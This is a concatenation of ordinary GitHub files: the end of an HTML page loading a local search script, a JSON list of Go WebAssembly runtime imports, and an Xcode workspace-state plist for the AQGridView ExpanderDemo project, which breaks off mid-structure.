(location.protocol == 'file:') document.write('<script src="../assets/js/search.js"><' + '/script>');</script> </body> </html>
{ "pile_set_name": "Github" }
{ "Entries": [ { "Module": "go", "Field": "debug", "Kind": 0, "FunctionType": { "Index": 1 }, "TableType": null, "MemoryType": null, "GlobalType": null }, { "Module": "go", "Field": "runtime.wasmExit", "Kind": 0, "FunctionType": { "Index": 1 }, "TableType": null, "MemoryType": null, "GlobalType": null }, { "Module": "go", "Field": "runtime.wasmWrite", "Kind": 0, "FunctionType": { "Index": 1 }, "TableType": null, "MemoryType": null, "GlobalType": null }, { "Module": "go", "Field": "runtime.nanotime", "Kind": 0, "FunctionType": { "Index": 1 }, "TableType": null, "MemoryType": null, "GlobalType": null }, { "Module": "go", "Field": "runtime.walltime", "Kind": 0, "FunctionType": { "Index": 1 }, "TableType": null, "MemoryType": null, "GlobalType": null }, { "Module": "go", "Field": "runtime.scheduleCallback", "Kind": 0, "FunctionType": { "Index": 1 }, "TableType": null, "MemoryType": null, "GlobalType": null }, { "Module": "go", "Field": "runtime.clearScheduledCallback", "Kind": 0, "FunctionType": { "Index": 1 }, "TableType": null, "MemoryType": null, "GlobalType": null }, { "Module": "go", "Field": "runtime.getRandomData", "Kind": 0, "FunctionType": { "Index": 1 }, "TableType": null, "MemoryType": null, "GlobalType": null }, { "Module": "go", "Field": "syscall/js.stringVal", "Kind": 0, "FunctionType": { "Index": 1 }, "TableType": null, "MemoryType": null, "GlobalType": null }, { "Module": "go", "Field": "syscall/js.valueGet", "Kind": 0, "FunctionType": { "Index": 1 }, "TableType": null, "MemoryType": null, "GlobalType": null }, { "Module": "go", "Field": "syscall/js.valueCall", "Kind": 0, "FunctionType": { "Index": 1 }, "TableType": null, "MemoryType": null, "GlobalType": null }, { "Module": "go", "Field": "syscall/js.valueNew", "Kind": 0, "FunctionType": { "Index": 1 }, "TableType": null, "MemoryType": null, "GlobalType": null }, { "Module": "go", "Field": "syscall/js.valuePrepareString", "Kind": 0, "FunctionType": { "Index": 1 }, "TableType": null, "MemoryType": null, "GlobalType": null }, { "Module": "go", "Field": "syscall/js.valueLoadString", "Kind": 0, "FunctionType": { "Index": 1 }, "TableType": null, "MemoryType": null, "GlobalType": null } ] }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>$archiver</key> <string>NSKeyedArchiver</string> <key>$objects</key> <array> <string>$null</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>2</integer> </dict> <dict> <key>CF$UID</key> <integer>3</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>4</integer> </dict> <dict> <key>CF$UID</key> <integer>163</integer> </dict> </array> </dict> <string>IDEWorkspaceDocument</string> <string>IDEWorkspaceWindowController_0</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>5</integer> </dict> <dict> <key>CF$UID</key> <integer>6</integer> </dict> <dict> <key>CF$UID</key> <integer>7</integer> </dict> <dict> <key>CF$UID</key> <integer>8</integer> </dict> <dict> <key>CF$UID</key> <integer>9</integer> </dict> <dict> <key>CF$UID</key> <integer>10</integer> </dict> <dict> <key>CF$UID</key> <integer>11</integer> </dict> <dict> <key>CF$UID</key> <integer>12</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>13</integer> </dict> <dict> <key>CF$UID</key> <integer>14</integer> </dict> <dict> <key>CF$UID</key> <integer>133</integer> </dict> <dict> <key>CF$UID</key> <integer>136</integer> </dict> <dict> <key>CF$UID</key> <integer>141</integer> </dict> <dict> <key>CF$UID</key> <integer>142</integer> </dict> <dict> <key>CF$UID</key> <integer>13</integer> </dict> <dict> <key>CF$UID</key> <integer>13</integer> </dict> </array> </dict> <string>BreakpointsActivated</string> <string>DefaultEditorStatesForURLs</string> <string>ActiveScheme</string> <string>ActiveRunDestination</string> <string>DocumentWindows</string> <string>RecentEditorDocumentURLs</string> <string>AppFocusInMiniDebugging</string> <string>DebuggingWindowsLayerMode</string> <false/> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>15</integer> </dict> <dict> <key>CF$UID</key> <integer>16</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>17</integer> </dict> <dict> <key>CF$UID</key> <integer>104</integer> </dict> </array> </dict> <string>Xcode.IDEKit.EditorDocument.SourceCode</string> <string>Xcode.Xcode3ProjectSupport.EditorDocument.Xcode3Project</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>18</integer> </dict> <dict> <key>CF$UID</key> <integer>22</integer> </dict> <dict> <key>CF$UID</key> <integer>24</integer> </dict> <dict> <key>CF$UID</key> <integer>26</integer> </dict> <dict> <key>CF$UID</key> <integer>28</integer> </dict> <dict> <key>CF$UID</key> <integer>30</integer> </dict> <dict> <key>CF$UID</key> <integer>32</integer> </dict> <dict> <key>CF$UID</key> <integer>34</integer> </dict> <dict> <key>CF$UID</key> <integer>36</integer> </dict> <dict> <key>CF$UID</key> <integer>38</integer> </dict> <dict> <key>CF$UID</key> <integer>40</integer> </dict> <dict> <key>CF$UID</key> <integer>42</integer> </dict> <dict> <key>CF$UID</key> <integer>44</integer> </dict> <dict> <key>CF$UID</key> <integer>46</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>48</integer> </dict> <dict> <key>CF$UID</key> <integer>56</integer> </dict> <dict> <key>CF$UID</key> <integer>63</integer> </dict> <dict> <key>CF$UID</key> <integer>67</integer> </dict> <dict> <key>CF$UID</key> <integer>70</integer> </dict> <dict> <key>CF$UID</key> <integer>74</integer> </dict> <dict> <key>CF$UID</key> <integer>77</integer> </dict> <dict> <key>CF$UID</key> <integer>80</integer> </dict> <dict> <key>CF$UID</key> <integer>83</integer> </dict> <dict> <key>CF$UID</key> <integer>87</integer> </dict> <dict> <key>CF$UID</key> <integer>91</integer> </dict> <dict> <key>CF$UID</key> <integer>94</integer> </dict> <dict> <key>CF$UID</key> <integer>97</integer> </dict> <dict> <key>CF$UID</key> <integer>101</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>19</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/../../../Classes/AQGridViewController.m</string> </dict> <dict> <key>$classes</key> <array> <string>NSMutableString</string> <string>NSString</string> <string>NSObject</string> </array> <key>$classname</key> <string>NSMutableString</string> </dict> <dict> <key>$classes</key> <array> <string>NSURL</string> <string>NSObject</string> </array> <key>$classname</key> <string>NSURL</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>23</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpanderDemoViewController.h</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>25</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpandingGridViewController.h</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>27</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpandFromGridViewCell.m</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>29</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ImageGridViewCell.h</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>31</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ImageGridViewCell.m</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>33</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/../../../Classes/AQGridView.h</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>35</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpandFromGridViewCell.h</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>37</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpanderDemoAppDelegate.h</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>39</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpanderDemoViewController.m</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>41</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/../../../Classes/AQGridView.m</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>43</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/../../../Classes/AQGridView+CellLayout.h</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>45</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpandingGridViewController.m</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>47</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpanderDemoAppDelegate.m</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>52</integer> </dict> <dict> <key>CF$UID</key> <integer>53</integer> </dict> <dict> <key>CF$UID</key> <integer>54</integer> </dict> </array> </dict> <string>PrimaryDocumentSelectedCharacterRange</string> <string>PrimaryDocumentVisibleCharacterRange</string> <string>PrimaryDocumentTimestamp</string> <string>{0, 0}</string> <string>{0, 2342}</string> <real>303662807.656335</real> <dict> <key>$classes</key> <array> <string>NSMutableDictionary</string> <string>NSDictionary</string> <string>NSObject</string> </array> <key>$classname</key> <string>NSMutableDictionary</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>57</integer> </dict> <dict> <key>CF$UID</key> <integer>58</integer> </dict> <dict> <key>CF$UID</key> <integer>59</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>60</integer> </dict> <dict> <key>CF$UID</key> <integer>61</integer> </dict> <dict> <key>CF$UID</key> <integer>62</integer> </dict> </array> </dict> <string>PrimaryDocumentSelectedCharacterRange</string> <string>PrimaryDocumentTimestamp</string> <string>PrimaryDocumentVisibleCharacterRange</string> <string>{32, 0}</string> <real>303665071.90742499</real> <string>{0, 1788}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>57</integer> </dict> <dict> <key>CF$UID</key> <integer>58</integer> </dict> <dict> <key>CF$UID</key> <integer>59</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>64</integer> </dict> <dict> <key>CF$UID</key> <integer>65</integer> </dict> <dict> <key>CF$UID</key> <integer>66</integer> </dict> </array> </dict> <string>{1789, 0}</string> <real>303665086.87728798</real> <string>{0, 1942}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>52</integer> </dict> <dict> <key>CF$UID</key> <integer>68</integer> </dict> <dict> <key>CF$UID</key> <integer>69</integer> </dict> </array> </dict> <string>{0, 1802}</string> <real>303664453.33700502</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>71</integer> </dict> <dict> <key>CF$UID</key> <integer>72</integer> </dict> <dict> <key>CF$UID</key> <integer>73</integer> </dict> </array> </dict> <string>{0, 1646}</string> <real>303664453.88485599</real> <string>{0, 1839}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>52</integer> </dict> <dict> <key>CF$UID</key> <integer>75</integer> </dict> <dict> <key>CF$UID</key> <integer>76</integer> </dict> </array> </dict> <real>303664449.90622503</real> <string>{1286, 1868}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>52</integer> </dict> <dict> <key>CF$UID</key> <integer>78</integer> </dict> <dict> <key>CF$UID</key> <integer>79</integer> </dict> </array> </dict> <real>303662804.001818</real> <string>{2051, 1961}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>52</integer> </dict> <dict> <key>CF$UID</key> <integer>81</integer> </dict> <dict> <key>CF$UID</key> <integer>82</integer> </dict> </array> </dict> <string>{0, 1811}</string> <real>303664451.51497799</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>84</integer> </dict> <dict> <key>CF$UID</key> <integer>85</integer> </dict> <dict> <key>CF$UID</key> <integer>86</integer> </dict> </array> </dict> <string>{29, 0}</string> <real>303663791.988141</real> <string>{0, 2006}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>88</integer> </dict> <dict> <key>CF$UID</key> <integer>89</integer> </dict> <dict> <key>CF$UID</key> <integer>90</integer> </dict> </array> </dict> <string>{32, 0}</string> <real>303663816.79627001</real> <string>{0, 2275}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>52</integer> </dict> <dict> <key>CF$UID</key> <integer>92</integer> </dict> <dict> <key>CF$UID</key> <integer>93</integer> </dict> </array> </dict> <string>{0, 2423}</string> <real>303662795.99122202</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>52</integer> </dict> <dict> <key>CF$UID</key> <integer>95</integer> </dict> <dict> <key>CF$UID</key> <integer>96</integer> </dict> </array> </dict> <string>{0, 2462}</string> <real>303662798.11079699</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>98</integer> </dict> <dict> <key>CF$UID</key> <integer>99</integer> </dict> <dict> <key>CF$UID</key> <integer>100</integer> </dict> </array> </dict> <string>{3117, 0}</string> <real>303665051.03159797</real> <string>{1001, 2146}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>84</integer> </dict> <dict> <key>CF$UID</key> <integer>102</integer> </dict> <dict> <key>CF$UID</key> <integer>103</integer> </dict> </array> </dict> <real>303663798.390113</real> <string>{0, 2157}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>105</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>107</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>106</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/ExpanderDemo.xcodeproj/</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>108</integer> </dict> <dict> <key>CF$UID</key> <integer>109</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>110</integer> </dict> <dict> <key>CF$UID</key> <integer>121</integer> </dict> </array> </dict> <string>SelectedDocumentLocations</string> <string>Xcode3ProjectEditor.sourceList.splitview</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>120</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>111</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>119</integer> </dict> <key>documentURL</key> <dict> <key>CF$UID</key> <integer>112</integer> </dict> <key>selection</key> <dict> <key>CF$UID</key> <integer>114</integer> </dict> <key>timestamp</key> <dict> <key>CF$UID</key> <integer>113</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/ExpanderDemo.xcodeproj/</string> <real>303662770.71008003</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>115</integer> </dict> <dict> <key>CF$UID</key> <integer>116</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>117</integer> </dict> <dict> <key>CF$UID</key> <integer>118</integer> </dict> </array> </dict> <string>Project</string> <string>Editor</string> <string>ExpanderDemo</string> <string>Xcode3ProjectInfoEditor</string> <dict> <key>$classes</key> <array> <string>Xcode3ProjectDocumentLocation</string> <string>DVTDocumentLocation</string> <string>NSObject</string> </array> <key>$classname</key> <string>Xcode3ProjectDocumentLocation</string> </dict> <dict> <key>$classes</key> <array> <string>NSArray</string> <string>NSObject</string> </array> <key>$classname</key> <string>NSArray</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>122</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>123</integer> </dict> </array> </dict> <string>DVTSplitViewItems</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>124</integer> </dict> <dict> <key>CF$UID</key> <integer>130</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>125</integer> </dict> <dict> <key>CF$UID</key> <integer>126</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>127</integer> </dict> <dict> <key>CF$UID</key> <integer>128</integer> </dict> </array> </dict> <string>DVTIdentifier</string> <string>DVTViewMagnitude</string> <string></string> <real>170</real> <dict> <key>$classes</key> <array> <string>NSDictionary</string> <string>NSObject</string> </array> <key>$classname</key> <string>NSDictionary</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>125</integer> </dict> <dict> <key>CF$UID</key> <integer>126</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>127</integer> </dict> <dict> <key>CF$UID</key> <integer>131</integer> </dict> </array> </dict> <real>970</real> <dict> <key>$classes</key> <array> <string>NSMutableArray</string> <string>NSArray</string> <string>NSObject</string> </array> <key>$classname</key> <string>NSMutableArray</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>134</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>135</integer> </dict> </array> </dict> <string>IDENameString</string> <string>ExpanderDemo</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>137</integer> </dict> <dict> <key>CF$UID</key> <integer>138</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>139</integer> </dict> <dict> <key>CF$UID</key> <integer>140</integer> </dict> </array> </dict> <string>IDEDeviceLocation</string> <string>IDEDeviceArchitecture</string> <string>dvtdevice-iphonesimulator:/Xcode4/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator3.2.sdk-iPad</string> <string>i386</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array/> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>143</integer> </dict> <dict> <key>CF$UID</key> <integer>145</integer> </dict> <dict> <key>CF$UID</key> <integer>147</integer> </dict> <dict> <key>CF$UID</key> <integer>149</integer> </dict> <dict> <key>CF$UID</key> <integer>151</integer> </dict> <dict> <key>CF$UID</key> <integer>153</integer> </dict> <dict> <key>CF$UID</key> <integer>155</integer> </dict> <dict> <key>CF$UID</key> <integer>157</integer> </dict> <dict> <key>CF$UID</key> <integer>159</integer> </dict> <dict> <key>CF$UID</key> <integer>161</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>144</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpandingGridViewController.m</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>146</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpandingGridViewController.h</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>148</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpanderDemoViewController.h</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>150</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ImageGridViewCell.h</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>152</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpandFromGridViewCell.m</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> 